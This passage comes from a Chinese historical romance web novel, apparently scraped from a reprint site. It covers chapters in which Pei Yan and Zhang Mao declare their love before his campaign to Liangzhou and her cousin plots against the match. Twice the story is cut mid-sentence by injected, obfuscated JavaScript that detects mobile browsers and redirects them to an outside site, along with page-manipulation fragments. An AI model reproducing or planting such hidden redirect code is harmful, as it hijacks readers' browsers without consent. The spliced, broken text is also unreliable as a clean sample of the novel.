裴妍闻声,淡淡扫了他一眼,未发一言。 张茂心头一跳,只觉这短暂的一瞥里包含了太多说不清道不明的情愫,似怨似怒,似恨似嗔。 裴憬却浑然未觉,他放下酪浆,附和道:“阿妍说得不错。如今,只怕不止阿妡的婚事要推迟,大母病成这样,阿妍和东海世子的婚事也有得拖。” 按制,裴家长房长子早逝,若郭太夫人有个三长两短,裴憬与裴妍作为长房孙辈,要代父守孝三年。也就是说,若郭太夫人当真百年,裴妍要么趁着热孝嫁去东海王府,要么就得按照在室女的规矩,替父为郭太夫人守三年孝。 裴妍悠悠道:“大母待我这般好,谁这个节骨眼嫁人谁没良心!”这是立志要代父尽孝了。 张茂心口一松,他现在要的就是时间。不得不说,在裴妍的婚事上,老天爷都站在他这边!只是这个念头将将冒出来,就被他立刻打压了下去,怨自己不免私心藏奸——裴家待他不薄,老夫人对他更是亲厚,他怎能有这般龌龊的心思? 就在他愣神的功夫,裴憬已经把自己面前的那碗酪浆吃完,却又惦记上裴妍的那碗了。 裴妍与祖母更亲近些,太夫人犯病这些天,她本就没甚胃口。 何况,她瞥了眼张茂,这酪浆还是他带来的。 于是她趁势把玉碗推给哥哥,起身道:“我嘴里没味儿,哥哥用吧!大母那里今日是阿嫂和阿妡照看。嫂嫂刚进门,万事拘谨,我还是去帮衬些为好。” 裴憬心疼自己媳妇,自然不会拦她。 张茂欲言又止,看向裴妍的眼神似带了钩子。 裴妍却丝毫没有理会,从头至尾没再看他一眼! 从兄长处出来,裴妍一路不停,径直往内院走。 她听到身后有急促的脚步声,亦听到容秋小声地提醒她:“元娘,张二郎追上来了。” 她却恍若未闻,加紧脚步往前走,一点停下的意思都没有,直到袖口被人从身后牢牢拽住!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001230|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴妍深吸一口气,不得已转身,只见张茂冷着脸立在她身后。方才还贴身侍奉她的容秋却不见了踪影。 一时间,新仇旧恨直冲脑门,就听她冷笑道:“养这么多年,狗也晓得认主了。可见人不如狗!” 这话听着刺耳,张茂心里一突,面上却假作不懂,脸上破冰含笑:“你是说容秋还是说我?” 裴妍嘴角含着讥讽,脸撇向一边,站在冷风中不言不语。 新抽枝的嫩柳在春风中摇荡,裴妍的鬓发被撩起,轻轻柔柔地拨弄着张茂的心弦。 “阿妍,”张茂轻声唤她。这声呼唤比往日要亲近得多,裴妍记得,往日里,他唤她“元娘”的时候多。 “阿妍,我后日,就要去凉州了。”张茂道。 裴妍不可置信地抬头,眼里好似雨季深潭,看似平静,其下却是暗潮涌动。 张茂死死地盯着她的眼睛,终于,在那层看似冷漠的面具下,捕捉到了那抹担忧与不舍…… “来我的院子说会话可好?”张茂环顾了一圈四周,小心道,“此处风大。” 张茂的慎独院紧挨着裴憬的院子,相隔不过百步。 沉默片刻后,裴妍到底软了心肠,默默地调了步头,向他的院子走去。 张茂紧随其后。听雨与容秋则早一步进了院子,正命人在内室熏香煮茶。 裴妍恨恨地扫了容秋一眼。 容秋自知理亏,低着头退到角落上不敢言语。 裴妍自然而然地在外堂的主位落座,借着容秋发作道:“你的人,烦请收回罢!这么多年,她眼里依然只有旧主。” 张茂不以为忤,凉声道:“既然阿妍觉得她背主,何须留着?处置了便是。我这里,亦不留二姓家奴。” 这句“处置”,是对家臣最大的惩罚,不是发卖,就是打死。 容秋听罢脸色惨白,扑通一声跪倒在地。 她是张茂送来裴府的,裴妍是她的新主人,可张茂亦曾是旧主。她只是想给两位主人腾出空间说话而已。没想到裴妍竟愤怒至斯,更没想到张茂不仅不维护她,甚至还要发落她。 她突然后悔非常,早前她姐姐定春就劝过她,奉主宜忠,既来了裴府,便当以裴家为先。是她总以为自己小聪明,见裴元娘与张茂有私,便想从中拉线,长袖善舞。 容秋知道张茂治下的手段,亦知道他不是一个轻易心软的人。是以她来不及委屈,更不敢有一句辩白,只是不停地对着主座上的裴妍磕头告饶。 这些年,她自问与裴妍颇为相得。她不信裴妍真舍得发落自己。 张茂却没给她卖惨的机会,直接示意拾叔上来拉人。 容秋见状,朝裴妍“砰砰砰”地磕得更响了。 裴妍瞬间心疼。这些年她一直得容秋照拂,感情远超主仆。方才的话只是气不过她擅自听从张茂调遣而已,哪里真想打杀她? “起来吧!多大的事,把自己搞成这样!”裴妍赶紧拦住拾叔,朝容秋摆摆手,嘴硬心软道,“下去好生处理伤口,晚间阿母看到,又要询问不休。” 容秋死里逃生,身上瞬间一松,赶紧朝裴妍磕了三个响头,犹豫片刻,又郑重地朝张茂拜了三拜,声音清醒而坚定:“容秋拜别旧主!” 直到方才,她才突然想明白,张二郎是在借此敲打她。他要她明白,她的主人,只能是裴家元娘! 容秋小心翼翼地起身,不再看张茂一眼,依照裴妍的吩咐,下去上药了。 全程张茂只自在饮茶,一副云淡风轻之态。好似方才堂下的那个人与自己毫无瓜葛。 裴妍皱眉,转头看向眼前人。她此前认识的张茂机智沉稳,却不失亲和温厚。她从未见识过他专断冷情的一面。 张茂似乎看出她心中所想,也不替自己辩白,只嘱咐道:“我不在京里,容秋便是你最后的屏障。你的人,得时刻以你为先,哪怕是出自旧主的命令,也不能越过你去!” 这是在教她驭下之道。 裴妍待下人素来亲厚有余,立威不足,虽说可以笼络人心,但人的本性欺软怕硬,谁知身边会不会出现奴大欺主的恶仆? 容秋是张家出来的。张茂自知她心性纯良,但容秋处处仍以张家的命令为先,他一个眼神就能将她支使开,若放在往常,张茂默认如此。可如今他即将赶赴边地,只裴妍一人在京,容秋若再如此行事,便让张茂不放心了。 毕竟张家主事的,除了他,还有阿耶、阿兄、阿嫂,若哪天张家与裴家的利益发生冲突呢?容秋会不会为了张家,背弃阿妍?这是张茂必须杜绝的。 是以方才,裴妍斥责容秋,张茂不仅没有阻拦,反而顺水推舟,借机给容秋以警示。 “我的人,我自会调教!”裴妍不喜欢张茂这样冷酷的手段。浑然忘了,她刚才还说容秋是张茂的人,要张茂把人领回去,现如今又把她当自己人回护起来。 “随你罢!”张茂摇头,他是不指望裴妍开悟了。 “你不是要修史么?怎么突然要去……打仗了?”裴妍虽尽量装得事不关己,但脸上仍透着难以掩饰的关心和担忧。 “阿耶点的我。上阵父子兵,有我在,他能轻省些。”张茂心里一暖,阿妍到底是心软啊! 他给裴妍倒上煮好的茶汤,热气瞬时自杯口弥漫开来。 张茂温润的脸隐于白雾之后,修剪齐整的鬓角染上了一层轻薄的水汽,“何况,史书已经收尾。我总不能当一辈子刀笔吏。” 裴妍看着眼前的翩翩君子,很难把这样一个温润如玉的郎君与沙场上提刀跨马的怆荒武夫相提并论。 “你……和张伯父要去哪里?可会有危险?” 张茂抬头,一眼就看到裴妍湿漉漉的眼睛,里面是藏不住的关心与隐忧。 他心里一暖,实话实说道:“圣上命我等移防凉州。是否危险不好说,战场上素来生死难料。” 裴妍瞬间眼眶红了,心肝被人揪起来一般的疼。她捂住心口,这才察觉,自己竟这样在乎他。即便是兄长裴憬上战场,她所能达到的担忧与难过,大概也就如此了。 原来不知何时,张茂在她心里,竟与兄长不相上下了! 37. 吞吐心意终定情,良人戎马赴关山 很长一段时间,二人都没有说话。 裴妍是万千情愫,不知从何说起。 张茂则是在吐露心声和掩埋心意之间反复横跳。 茶水渐渐凉了,裴妍再没有理由待下去。 千言万语,如鲠在喉,她深深看了眼张茂,无奈起身。 也是最后这道似哀似怨的回眸,令犹豫不决的张茂彻底破防——他知道,若再不剖明心意,不管他与张家前程如何,他和裴妍的这一生,将再不会有结果! 裴妍刚要起身,忽觉身后袖口被牢牢拽住。 她有些错愕地看向身后。 只见张茂一手拽着她的袖口,脸上泛着红云,却眼神清亮,定定地看向她,如诉如求:“阿妍,别走!” 短短的四个字如有千钧重,裴妍只觉心口钝痛,这句话,这句话…… 她看向他,红唇轻启,语调哀凉:“这话,三个月前为何不同我说?” 事情既开了头,便没有打住的道理。 张茂将裴妍扶回席上坐好,这才将这半年来的相思尽数道出: “自你年前订亲,我便日日想去寻你,却怕你怪罪于我。 你我地位悬殊,我虽从未宣之于口,但想来你亦能觉察我的心意。 可是我心悦你,想娶你,得有本钱。如今的张家,如何能与东海王比? 我不想耽误你,这才与你说,‘若你出嫁前,我还未能建功立业,便忘了我。’ 我知道我今日说这些话有悖道义,让世人不耻,亦让你为难,然而我还是想为自己的那点执念,跟这世道搏上一搏。” 张茂不是犹豫不决的人。既然他决定坦白心意,便要在临行前,把心中所想交代清楚。不然哪天他马革裹尸了,岂非要将这满腹遗恨都带到黄土里去? 裴妍只觉心头一震。 这些年,张茂对她的好,对她的特别,她都能感受到。同样,她也觉察到,不知从何时起,她对张茂的依赖越来越深,且这份情感明显与自己对兄长的那份不同。只是,他从来不曾与她挑明了说,她便也不敢深想——若这一切只是她一厢情愿,岂非笑话? 张茂接着道:“我本想待张家再积些军功便请阿耶向郡公提亲,不成想东海王府竟早早就来下定。此番我弃笔从戎,也是想尽快挣得出身,好让我能配得上你!” 裴妍只觉心里既酸且苦,既苦且甜,可是事已至此,再知道这些又有什么用呢? 她轻轻抽出自己的袖口,苦笑道:“你该早些告诉我的。如今,却是迟了!” 张茂沉默片刻,却道:“事已至此,只能说万幸三书六礼,东海王府只是下了小定,依目前形势,短期内裴府不会考虑喜事。” 裴妍想起之前在裴憬那里提到她大母和姨婆的事,心内不禁一寒,冷声问他:“万幸?莫非你一直盼着我大母不好?” 张茂赶紧解释:“绝无此事!这些年太夫人对我照拂有加。我若这样想还是人么!我说的是朝中局势,东海王短期内不会回京。” 这倒是实情,听嫂嫂们闲聊,说今年各路诸侯把原定的春朝和秋请都推了,东海王府也是如此。 可是,她和他之间,莫非就要靠这些机缘巧合来维系吗? 她苦笑,似自嘲,似质问:“真不知道你的心悦算什么?若不是大母的病情和你所谓的朝局,我原该年底就嫁去东海国的!” 张茂心口一颤,脱口道:“不会!”对上裴妍狐疑的眼神,只好将那些不可为外人道的阴私和盘托出:“不怕你笑话,我暂只能行拖字决。 你可知一心山人?挚虞师叔与一心山人相熟,之前我已请托山人向太夫人提议多留你几年。” 这么一说,裴妍突然有些印象。年前确实有一位道长与祖母瞧病。临了,还突然把她和裴妡叫去花厅,隔着屏风问了几句话。 她记得阿母后来颇得意地同她讲,说这道长算出她和裴妡是天上的福星落凡胎,只要有姊妹俩在,可保族里百年基业,定要家里晚些再放她们出嫁。 她当时便觉得这道长说的话很古怪。她一个遗腹子,长这么大还从来没听过谁夸她是福星的,原来根子在这呢。 一心山人是五斗米教的教魁。郭太夫人与裴頠一向信奉五斗米教。他的话,二人不可能不重视。 原来张茂一早就留了后手。 她恨意略消,小声道:“这三个月你一次都没来寻过我,我以为,你是乐意我嫁给旁人的。” 张茂这才敢移席略近几步,小心翼翼地解释:“这几个月来,我既想见你,又怕见你。毕竟,我从未问过你的心意。万一,是我一厢情愿呢?何况,建功立业不是易事,我时常想,不问也好,若你忘了我,未尝不是幸事。” “阿茂哥!”裴妍又羞又急,脸上瞬间红云密布,她明明也是心悦他的啊!可是这么羞人的话,让她一个女郎如何说得出口! 终于,她听见自己小声道:“我是想你的。我也是,想你的!” 女子娇羞,她不好意思说出“心悦”二字来,但一个“想”字,足以摆明了她的心意和立场。 张茂虽从前已猜到她的心意,但如今听她亲口说出,只觉胸口一阵滚热,内心的情潮止不住翻涌激荡。 不知何时,两个痴儿的手不自觉地握在了一处。 “你不晓得,我去河东那几年时常梦见你。我对自己哥哥都没有这样。你说,我是不是病了?” 张茂被裴妍的傻话逗笑了。他抬手拍怕裴妍的脑袋:“痴儿!你这是也心悦我啊!” 裴妍揉了揉自己的脑袋,有些不好意思地低下头。她心里既倍感欣喜,又有一股不真实的虚无感。原来自己这些年的心动不是假的,原来张茂亦心悦她,原来两情相悦是这样的感觉! 然而,思及当下,“拖”终归不是长久之计。 裴妍的眉头重又锁起,东海王那里,姑姑那里,总得给个说法呀! “我把阿毗当兄长,家里却让我们订了亲。” 关于他俩的事,张茂素来只看重钜鹿郡公的意思。他知道,只要裴頠肯点头,即便东海王也无可奈何。 这年头,兵荒马乱,朝政错综,豪门之间因利不合,订婚又退婚不是稀罕事,就连成亲了和离的都大有人在。实在不行,凭着他家的凉州大马,大不了来硬的。 只是这些,既是男人间的角力,也是家族间的较量,张茂不准备让裴妍掺和,她也掺和不了,便避重就轻,郑重地牵起裴妍的手,半是戏谑,半是承诺道:“只要阿妍也心悦我,即便是抢亲,我也决不让你另适他人。来日东海王怪罪,我愿负荆请罪!” “抢亲!”裴妍只觉脑门嗡嗡的,她长这么大,何曾听闻这么离经叛道的事! “自然不会走到这一步。”张茂笑着安抚她,“府里的事,全凭郡公做主。只要我张家的军功足以打动郡公,你我的婚事,自然有转圜的余地。” 话是对裴妍说的,他的目光却不自觉地落在她身后的墙上,那里赫然挂着一幅硕大的舆图,东海国在沿海之滨的青州,与凉州正好一东一西,相距不知几千里也。 若放在十年前,盛世之下,他自不敢挑衅诸侯,可如今,乱世将至,这是老天爷给他们张家的机会。只要他和阿耶在凉州站稳脚跟,东海的水师到不了凉州,凉州的大马也不惧区区一个诸侯! 他收回目光,眼神重新落在身前的小女郎身上。 初初定情,裴妍捂着泛红的脸,娇羞地不知该说些什么。 张茂莞尔,为缓解她的尴尬,他自袖囊中掏出一枚半旧的、表皮被磨得泛白的香囊,在裴妍眼前晃了晃:“可还记得这个?四年前你去河东前,给我和大兄一人绣了一个。结果大兄的那枚绣得格外细致,我的却大片留白。你那时说好回来便给我补上,可到如今也不见你问我要。” 什……什么?裴妍把香囊接过来前后翻看,隐约想起此事,脸上更红了,不好意思道:“怪我,竟把这事给忘了。你哪天开拔?后天?唔,做新的是来不及了,把这个旧的赶完倒是正正好。这样,我现在就回房绣去,最迟明晚给你送来!” 裴妍是个说风就是雨的性子,不顾张茂错愕的眼神,就要起身回去,结果再次被张茂一把拽住。 “不急,”他笑道,重又把裴妍拉回原处,却是肃了脸色,原是有话交代:“西市景行街后巷的那间胡饼铺子,可去过?” 裴妍点头,疑惑地看向他。 那铺子是近两年才开的,里面的胡饼她没少吃,每回容秋回张家省亲回来都会给她捎些来,味道很正宗。 怎么?她懵里懵懂地看向他:“阿茂哥饿了?想吃胡饼?” 张茂没理会她的打岔,而是端正坐姿,难得郑重地嘱咐道:“我即将出征,府里自有定春、容秋护着你。府外么,你若要人手,可到那胡饼铺子找店家。但有所求,不必客气。” 这是告诉裴妍张家的一处暗桩了。 裴妍懵懂地点头,原来那铺子的东家是阿茂哥的朋友啊! 张茂见裴妍还没有会过意来,又好笑又无奈。他也不指望裴妍明白,紧接着又道:“还有,薛五郎被选为三署郎了,下旬入职。估摸着他和你那位从姊已经快到洛阳了!” 薛翊这两年跟着他阿耶南征北战,此番入三署郎,也是张轨推荐的。 裴娴去岁嫁给了薛翊,是以今年他会和夫君一起来京城。 “阿妍若有事,尽可去寻薛五郎一家。”张茂殷殷叮嘱。 裴妍却只听了前半句,裴娴也要来京城了?她好不开心地道:“阿娴姊姊要来了?太好了!我这就给她去信,问她什么时候到,好去接她!” 言罢,怕张茂不放她走,便语带急切地道:“不能不走了,我要回屋写信还要给你的香囊挑花样,哪一样不费神费力!” 她急着要走,张茂却万分舍不得,依旧是拽着她的袖子,一把又将她拉了回来。 裴妍跌倒在他怀里,脸上羞得无以复加,小声抱怨:“再不走阿母要问啦!” 张茂却神秘一笑:“不急,还有样东西要给你。”他这才意犹未尽地松开佳人,回身自案上的漆盒里取出一个红木匣子,递给她。 裴妍疑惑地打开,只见里面赫然躺着一枚金蝉栖玉叶簪。簪身通体白玉,透润光泽,簪头呈柳叶状,上面卧着一只金蝉,蝉翅和眼睛是拿细小的红宝镶嵌的,雕工惟妙惟肖。 裴妍举起簪子,阳光自槅窗射来,落在金蝉之上,只见红宝在赤金的掩映下流光溢彩。 “美甚!”饶是裴妍见过的珍宝无数,亦忍不住喟叹。 张茂舒了口气,笑道:“喜欢就好!你不久及笄,我恐不在京中,这支玉簪聊作贺礼。” 男子赠女子簪钗有定情之意。 裴妍脸上刚褪去的燥热瞬间又回了来,就听她半嗔半娇地小声嘀咕:“谁要你的簪子了。我大母早给我打好了!” 嘴上这样说,手上却把簪子利落地放进匣子里,连匣带簪地送进了自己的袖囊之中。 张茂是第一次送女子发簪,也不知道自己选得好不好,便问她:“怎么收起来了?不戴给我看看吗?” 现在就插戴?还没成亲呢!就要当着你的面梳妆? 裴妍到底是未出阁的少女,听得此言只觉又羞又躁。情窦初开的她哪里还坐得住,啐了张茂一口,捂紧袖口起身奔了出去。 容秋刚给头上敷好了药,正揉着额头站在门边听候吩咐,就看到自家女郎匆匆自内室奔出来。 她还以为裴妍与张茂又闹矛盾了,正想进屋请示旧主,可额上突然一痛。她瞬间清醒,再不敢停留,追着她家女郎出去了。 张茂扶额摇头,又好气又好笑,原想二人剖明心意,今晚多少能温存会,却不想,裴妍还是小孩心性,说走就走,倒惹得他不上不下的。 他一人坐在内室里,手上把玩着方才裴妍喝过的玉盏。那里落下一抹淡淡的樱桃红。 张茂忍不住就着那处口脂浅酌一口,原本苦涩的茶汤里似因为融了一缕裴妍的体香,变得格外隽永。 屋子角落的银丝炭不知何时燃尽了,内室渐渐凉下来。料峭的寒风自半开的槅窗处挤进来,却吹得张茂浑身上下暖融融的。 他抚着自己的心口,忍不住浅浅笑起来,自己心悦的人也心悦自己,还有比这更让人开怀的事吗? 月黑风高夜,檐角的宫灯随夜风晃荡,稀疏的桂树枝干在糊窗的白娟上摇曳生姿。 内室里烛火明灭不定,四下里静谧异常,只屋角的更漏“沙沙”地往外漏着余沙。 裴妍微眯着眼,拿绣针密密地缝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001231|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香囊。 这个香囊已然成型,她没法把它剪开来放绷子上去,只能就着现有的形状下针。这对于本身绣工就不佳的裴妍来说,无疑增加了难度。 她难得如此专注,就连裴妡来了都没有察觉,还是守在门口的容秋小声提醒:“元娘,二娘来了。” “这么晚了,阿姊还在用功?”裴妡刚从太夫人那里下值。她也不回自己房里,反而来了裴妍处,显然今晚想跟姐姐一起睡。 裴妍跟堂妹素来熟不拘礼。她手上功夫没停,头也没抬,回道:“赶工呢,阿茂哥后日就出征了。” 裴妡解大氅的手一顿,眉头轻皱,任婢女将她的外衣褪去。 她坐到姐姐身边,目光扫过裴妍手里绣了一半的青竹,诧异道:“竟是给他的?” 裴妍点头,说出的话让裴妡眉梢一跳:“自是给他的。我俩的事,你不是早看出来了?” 裴妡一惊,上回试探她,她还否认来着,怎么这会又变了? “你们……不是……” 裴妍抬起头看了堂妹一眼,竟是不再遮掩,坦荡地道:“我自小就爱缠着张二郎。以前呢,总以为自己拿他当兄长待。这几年的离别才让我渐渐明白,兄长和情郎原是不同的。以前我一直不敢承认,生怕自作多情,惹人笑话。可今日方知,原来他也心悦我。阿妡,你说,还有比两情相悦更让人欣喜的事么!” 裴妡惊愕得说不出话来。她早看出端倪是一回事,亲耳听裴妍承认又是另一回事。何况,她说什么“今日方知”?难道他们竟是今日订的情? 裴妡只觉不可思议,就今天她给大母侍疾的这么一会功夫,居然被张茂钻了空子? 裴妡自小在宫闱长大。她身为女官,成天周旋于帝后、公主、太子、后妃中间,什么虚情假意没见过?两情相悦,在裴妍看来是幸运,在裴妡看来却是人世间最大的谎言与笑话! 何况,裴妍和她,前不久……订亲了啊! 她急得嘴里发苦,却知道自己这个堂姐性子最是憨直,认准了一条道就要走到黑的。 她不敢硬劝,只得重又坐到姐姐身边,假作镇定,一边替她挑线,一边问她:“你跟张二郎是两情相悦了,可把东海王世子至于何地?今日在大母处,听阿母讲,东海王妃开春便会携世子回京省亲。如今朝里形势复杂,别的诸侯能躲多远就躲多远,独独他家,冒险也要进京,说不得,人家是为你来的。” 裴妍手上一抖,针尖扎破食指,一枚鲜红的血滴瞬间凝于指尖,犹如嵌在稀世珍珠上的一颗红宝。 她眉头微皱,张茂只料准了东海王不会贸然回京,却没想到姑姑和阿毗会先行一步,回来探风啊! 裴妡赶紧掏出自己的帕子给她捂住伤口。她知道姐姐心里不是没有犹豫,便再接再厉道:“阿姊,王妃姑姑待你不薄,你情移张二郎,最对不住的,是她啊!” 裴妍心里一乱,裴妃在她心里仅次于阿母与大母。也是她在这段感情里,最不愿意面对的人。 她支吾含混道:“我会跟姑姑解释清楚的。你知道,我自小把阿毗当亲生兄长来处!至于阿毗,他以前常嫌我聒噪……我们又这么久未见,也许……也许他也早有了意中人也说不定。” “你怎知他心里没你?洛阳城里能排上号的青年才俊拢共就那么几个,阿毗世子的风头可是仅次于成都王的!”裴妡接着下猛药,“你出去应酬得少故而不晓得,早几年他还在京的时候,多少名门闺秀想方设法地接近他呢,愣是不见他对谁留情,谁不知道,他是在等你长成啊!” 裴妡想想又道,“这些年来,便是老成持重的成都王也每每有风流轶事传出,你可曾听说过阿毗的传闻?除了他府里的侍妾婢女,人家在外面可是干干净净的!” 裴妍无言以对,却心有不甘,嘀咕道:“侍妾不算女人?阿茂哥就没有!” “那是他想攀咱家这个高门!”裴妡恨铁不成钢地提点姐姐,“不洁身自好点,你能上钩?” 裴妍很不喜欢裴妡品评张茂的语气,似乎在妹妹眼里,张茂就是个攀龙附凤的小人。 裴妡见姐姐秀眉微簇,知道自己触了姐姐的逆鳞,只好把话题从张茂身上转开,继续拿裴妃说事:“想想王妃姑姑,她待你这般好,你却拒绝了她的亲儿子,她该多伤心啊!往后两家又该如何相处呢?” “我……我去赔罪!姑姑若不见我,我就天天去,总能磨她心软的!”裴妍记得小时候,无论自己干什么,东海王妃都会支持她,很多时候甚至比母亲还要宠她,这也是她幼时总喜欢去东海王府小住的原因。 她自欺欺人地以为,这次裴妃也会这样。 裴妡摇头,裴妃待她再亲近,也近不过自己的亲儿子。 裴妃往常待裴妍好,既是因为她是恩人的遗腹子,又早早将她当作自家儿媳待。如今裴妍想悔婚,不论是裴家还是东海王府,都不可能容她任性妄为的。 裴妡琢磨着,得先稳住姐姐,再从长计议。裴妍之所以对张茂有好感,还不是因为这些年与她朝夕相对的,除了几个兄长,就只有张茂这一个外男? 左右那张茂后日就随军开拔了。届时姐姐身边寂寞,而司马毗却要回来了。有司马毗日日相伴,说不定姐姐与他处着处着就回心转意了呢? 于是她道:“大母的情形你也清楚。 这时候,即便是阿耶和兄长们,都不敢拿烦心事给她添堵。你跟张二郎的事,长辈们肯定极力反对。你们即便要谋划什么,也得徐徐图之,切不可乱来。 这事我知道便罢了,其他人阿姊万不能告诉,更不能露了端倪。尤其大母那里,千万、千万不能说!” “我自然不会在这个节骨眼上惹大母不快。”裴妍小声道,“我又不傻。” 裴妡心想,你不傻谁傻?那安定张氏不过一乡下地主,这些年靠着咱家提携,才勉强得了点势。你若是看上哪个诸侯或贵姓郎君,阿耶也好大母也罢,说不定还能考虑一二。可这个张茂,算哪个牌面的人物?裴家能为了他得罪东海王?即便东海王不计较,自家贵女嫁府里清客,裴家在京畿还要脸不要? 她和裴妍是一家子姊妹,从来一荣俱荣一损俱损,裴妍乱来,坏了府里闺训,她裴妡名声也得跟着坏。他俩的事,漫说家里长辈,她裴妡第一个不答应! 38. 郭氏姊妹联袂去,东宫再难掩风波 裴妍与妹妹话不投机,干脆闭了嘴,继续手上功夫。 正好指尖的血渐渐止住了,裴妍拆了捂手的帕子,低头继续赶工。 裴妡看着帕子上的那抹嫣红,更是暗下决心:她得趁着张茂出征在外,赶快设法撮合司马毗和阿姊! 她侧头看向裴妍,只觉姐姐在灯下低头做女红的模样,与平日又有不同,专著刺绣的裴妍仿佛比平日多了几分娴静——温香如玉,美人低头,卸了簪的青丝仿若上好的绸缎,顺滑地披散在身后。 裴妡勾起唇角,姐姐姿容绝艳,她不信司马毗会不动心。细数京畿的妙龄女郎,谁能比得过阿姊?一个有钱有势的诸侯想要赢过张茂这个乡下来的穷小子,实在太简单了! 张茂开拔那日,裴府的三个郎君都去相送。裴妍也想去,可她是女眷,不能像哥哥们那样,跟在帝后身后堂而皇之地为大军送行。 她本想偷偷溜去街上,远远找个酒楼候着。能多看张茂一眼也是好的。 然而王夫人不知怎的,竟布置下一堆内务要她和裴妡清完。身边都是二房管事的阿媪,她竟是想溜都溜不掉! 午晌,她好不容易等来兄长。就听裴憬绘声绘色地跟她渲染大军开拔的场面多么宏大,帝后多么看重,还有陈中书念的檄文多么长,害他差点打瞌睡。 “阿茂哥呢?”裴妍打断他,别人怎样他不管,她只想知道张茂如何。 “呵,阿茂当然是一众军士里最得意的一个!他虽列队在梁王与张伯后面,然而十个梁王也不及咱们阿茂亮眼!你不晓得,道边围观的女郎多是去看他的呢!” “哦!”裴妍有些醋溜溜的,说不清是担忧多,还是心酸多,“阿茂一项很受女郎欢迎!” “可不是,清河公主也来了呢,就在皇后身后!皇后向梁王赐酒的时候,我还看见她对阿茂笑了笑。你说,这次阿茂若得胜还朝,咱们家是不是又要多出个驸马都尉来!”裴憬与有荣焉地道。 “什么咱家,人家姓张,即便攀了高枝,也与我们没干系!”裴妍彻底恼了,拍案而起,气咻咻地回了房。 裴憬有些摸不着头脑,问一旁的柳蕙:“我哪里说错话了,惹妹妹着恼?” 柳蕙意味深长地看了眼小姑子离去的身影,敏惠如她,心里已然有了猜测,只是不好同傻丈夫讲,便敷衍着安慰丈夫道:“夫主没说错话,想是阿妍妹妹累了,今天她在婶母房里,盘了一天的账呢!” 裴憬立刻心疼起妹妹来:“你可得请阿母劝劝婶婶,阿妍就要及笄了,别累出病来!” …… 因着郭太夫人病情加重,裴妍的及笄礼只好从简。 不过河东裴氏乃百年望族,钜鹿郡公裴頠又正得圣眷,他嫡亲侄女的笄礼即便从简,亦排场不小。来观礼的世家亲眷依然把府外的巷子口堵得满满当当。皇后也多有赏赐。 给裴妍及笄的正宾请的是二嫂崔华堂的母亲崔卢氏。小郭氏原先属意的是自己的密友东海王妃裴氏,然而她远在藩国,一时赶不回来。郭老夫人便做主请了清河崔氏的主母崔卢氏前来担当正宾。 赞者则由裴氏族亲担任。及笄礼上的簪子是郭老夫人年前就备下的,不止裴妍的,裴妡的也一并打好了,毕竟姊妹俩的年岁相差无几。 老夫人给裴妍的是一支通体白玉的牡丹,给裴妡的则是红玉梅花。 鲜花着锦的礼台上艳若桃花的妙龄少女盈盈而立,对面的高堂上端坐着气色枯败的裴老夫人,只见这位银发苍苍的妇人沉静地看向台上行礼的孙女,浑浊的双眼藏着点点泪痕,仿若拂过岁月的尘埃,恍然见着当初的自己。 小郭氏亦满含欣慰又神色复杂地看向女儿,这漫长而孤寂的守寡岁月,女儿是她唯一的慰藉。可是这样的相伴又能持续多久呢?女儿成人了,后面就该出嫁啦! 裴妍似乎感觉到两位妇人的愁绪,她趁着间隙朝大母和母亲娇俏地眨了眨眼,惹得这对姑侄立刻收敛愁容,微笑回应。 仪式上,裴妍用的自然是大母所赐的簪子,至于张茂送的那根,则被裴妍小心翼翼地收在了自己的百宝匣子里,夜深人静时才敢拿出来插戴赏玩。 裴妍及笄后不久,与钜鹿郡公府相隔不远的鲁国公府就鸡飞狗跳起来。 皇后生母,宜城君郭槐的病情突然加重,几乎到了水米不进的地步。 皇后忧心母亲,经常离宫来贾府探望。她每次省亲虽说轻车简从,但贾府众人及太医院的医官们,免不了小心翼翼。 东宫太子司马遹虽与皇后不睦,但与郭槐还算亲厚,亦屈尊来贾府探视过几次,于是贾府上下更忙了。 半个月后,贾府宜城君郭槐的住处。 夜间突然起了大风,吹散了好不容易积蓄起来的一点暖意。守门的婢女瑟瑟发抖起来,却只能咬着牙硬抗。 内室里烧足了炭火。宽敞的屋里挤满了人,有侍奉的宫女,也有进进出出的医官。 靠近窗口的一个婢子悄悄地抬头看了眼四周,趁人不备,狠狠地朝窗边深吸了几口气——许是人多,通风不畅,尽管房里燃着艾草,还是止不住内室帷帐中传来的浑浊气息。 外堂上,皇后贾南风冷脸上坐,贾午、贾谧、韩寿、韩芷还有太医令贾裕则大气不敢出地陪在她的下首。 贾裕按辈分是贾南风的族叔。他其实对医术一窍不通,纯粹是因为贾南风觉得掌管皇家医脉的必须是自己人,这才把这么个不学无术的货提拔到了太医令的位置上。 如今,他正忧心忡忡地看着进进出出的太医们,脑门上的冷汗一股股地往外冒。 他有些心虚地瞄了眼上首的皇后,只见贾后珠钗未簪,着一身鸦青色燕居服,面似寒冰,如老鼠般又小又肿的眼睛紧紧地盯着内室的锦帐,眼窝下青黑一片,显然近日睡眠不足。 他知道皇后狠起来六亲不认,自觉今日若郭老夫人有个三长两短,他们太医丞,哦不,弄不好整个太常寺都得跟着陪葬。 终于,医师们会诊结束。年龄最长的医正胆战心惊地朝贾后行礼,委婉道:“宜城君病入骨髓,实非药石可以凑效。娘娘何不试试巫卜祝祷之术,兴许有用。” 